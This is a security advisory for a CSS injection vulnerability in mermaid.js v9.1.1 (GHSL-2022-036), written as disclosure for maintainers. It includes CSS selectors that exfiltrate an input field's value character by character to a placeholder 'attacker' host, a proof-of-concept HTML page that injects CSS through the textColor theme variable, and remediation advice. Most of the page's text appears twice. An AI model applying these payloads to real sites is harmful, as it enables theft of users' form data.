An attacker is able to inject arbitrary CSS
into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS
selectors.
The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value
attribute one character at a time. Whenever there is an actual match, an http
request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory:
Product
mermaid.js
Tested Version
v9.1.1
Details
Issue 1: Multiple CSS Injection (GHSL-2022-036
)
By supplying a carefully crafted textColor
theme variable, an attacker can inject arbitrary CSS
rules into the document. In the following snippet we can see that getStyles
does not sanitize any of the theme variables leaving the door open for CSS
injection.
Snippet from src/styles.js:
const getStyles = (type, userStyles, options) => {
return ` {
font-family: ${options.fontFamily};
font-size: ${options.fontSize};
fill: ${options.textColor}
}
For example, if we set textColor
to "green;} #target { background-color: crimson }"
the resulting CSS
will contain a new selector #target
that will apply a crimson
background color to an arbitrary element.
<html>
<body>
<div id="target">
<h1>This element does not belong to the SVG but we can style it</h1>
</div>
<svg id="diagram">
</svg>
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<script>
mermaid.initialize({ startOnLoad: false });
const graph =
`
%%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
graph TD
A[Goose]
`
const diagram = document.getElementById("diagram")
const svg = mermaid.render('diagram-svg', graph)
diagram.innerHTML = svg
</script>
</body>
</html>
In the proof of concept above we used the textColor
variable to inject CSS
, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:
|
userStyles += `\n:root { --mermaid-font-family: ${cnf.fontFamily}}`; |
|
const getStyles = (type, userStyles, options) => { |
Impact
This issue may lead to Information Disclosure
via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.
Remediation
Ensure that user input is adequately escaped before embedding it in CSS blocks.
An attacker is able to inject arbitrary
CSS
into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially craftedCSS
selectors.The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the
value
attribute one character at a time. Whenever there is an actual match, anhttp
request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory:
Product
mermaid.js
Tested Version
v9.1.1
Details
Issue 1: Multiple CSS Injection (
GHSL-2022-036
)By supplying a carefully crafted
textColor
theme variable, an attacker can inject arbitraryCSS
rules into the document. In the following snippet we can see thatgetStyles
does not sanitize any of the theme variables leaving the door open forCSS
injection.Snippet from src/styles.js:
For example, if we set
textColor
to"green;} #target { background-color: crimson }"
the resultingCSS
will contain a new selector#target
that will apply acrimson
background color to an arbitrary element.In the proof of concept above we used the
textColor
variable to injectCSS
, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:mermaid/src/mermaidAPI.js
Line 393 in 5d30d46
mermaid/src/styles.js
Line 35 in 5d30d46
Impact
This issue may lead to
Information Disclosure
via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.Remediation
Ensure that user input is adequately escaped before embedding it in CSS blocks.